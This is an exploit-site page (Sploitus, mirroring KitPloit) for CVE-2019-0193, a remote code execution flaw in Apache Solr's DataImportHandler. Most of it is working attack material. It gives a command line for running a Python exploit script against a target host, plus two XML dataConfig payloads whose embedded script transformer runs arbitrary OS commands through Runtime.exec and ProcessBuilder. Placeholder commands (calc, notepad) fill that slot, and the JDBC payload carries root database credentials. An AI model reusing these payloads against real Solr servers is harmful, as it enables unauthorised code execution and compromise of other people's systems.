Sploitus

Exploit for CVE-2019-0193

kitploit · 2026-08-25

Exploit Code

MARKDOWN67 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JAS502N-CVE-2019-0193
# CVE-2019-0193 Solr DataImport Handler RCE (RCE-Vuln < solr v8.12)

![](https://assets.kitploit.com/production/public/readmes/27329/d3b83749c3a60ac7802d5c2fbbf8f4d887081e3673ddec42f4db0ac8e48a9c3b.gif) ![](https://assets.kitploit.com/production/public/readmes/27329/9e9d0a89206836c2ada4553fced82db324d4430b3939f803dffaabdb63aba8b6.jpg)

### استخدام python

`python CVE-2019-0193.py http://192.168.2.18:8983 "calc"`

### URLDataSource_Poc

![](https://assets.kitploit.com/production/public/readmes/27329/76a20654ad8afb693a245be58c5c885e2adeec253a0fbf34e80d97862156d97a.jpg)

root@kitploit:~
    
    
    <dataConfig>
      <dataSource type="URLDataSource"/>
      <script><![CDATA[
              function poc(){ java.lang.Runtime.getRuntime().exec("calc");
              }
      ]]></script>
      <document>
        <entity name="stackoverflow"
                url="https://stackoverflow.com/feeds/tag/solr"
                processor="XPathEntityProcessor"
                forEach="/feed"
                transformer="script:poc" />
      </document>
    </dataConfig>
    

### jdbc

![](https://assets.kitploit.com/production/public/readmes/27329/bda9d0ae7165ca179aa5b3074493c83aca1eb1d7d038f8a09b3e4659fb9d2a11.jpg)

`D:\CVE\CVE-2019-0193\solr-7.7.2\server\solr-webapp\webapp\WEB-INF\lib\mysql-connector-java-5.1.48.jar`

root@kitploit:~
    
    
    <dataConfig>  
    <dataSource name="fromMysql"
         type="JdbcDataSource"  
         driver="com.mysql.jdbc.Driver"  
         url="jdbc:mysql://localhost:3306/mysql"  
         user="root"  
         password="jas502n"/>
    <script ><![CDATA[
       function poc(row) {
          var x=new java.lang.ProcessBuilder;x.command("notepad",'1.txt');org.apache.commons.io.IOUtils.toString(x.start().getInputStream());
         return row;
       }
       ]]>
     </script>  
    <document>  
     <entity name="Jas502n" transformer="script:poc" query="SELECT 1">
     </entity>  
    </document>  
    </dataConfig>
    

### روابط مرجعية:

https://mp.weixin.qq.com/s/typLOXZCev_9WH_Ux0s6oA

https://mp.weixin.qq.com/s/diF7HOf3wuSjBeoIb7qLCA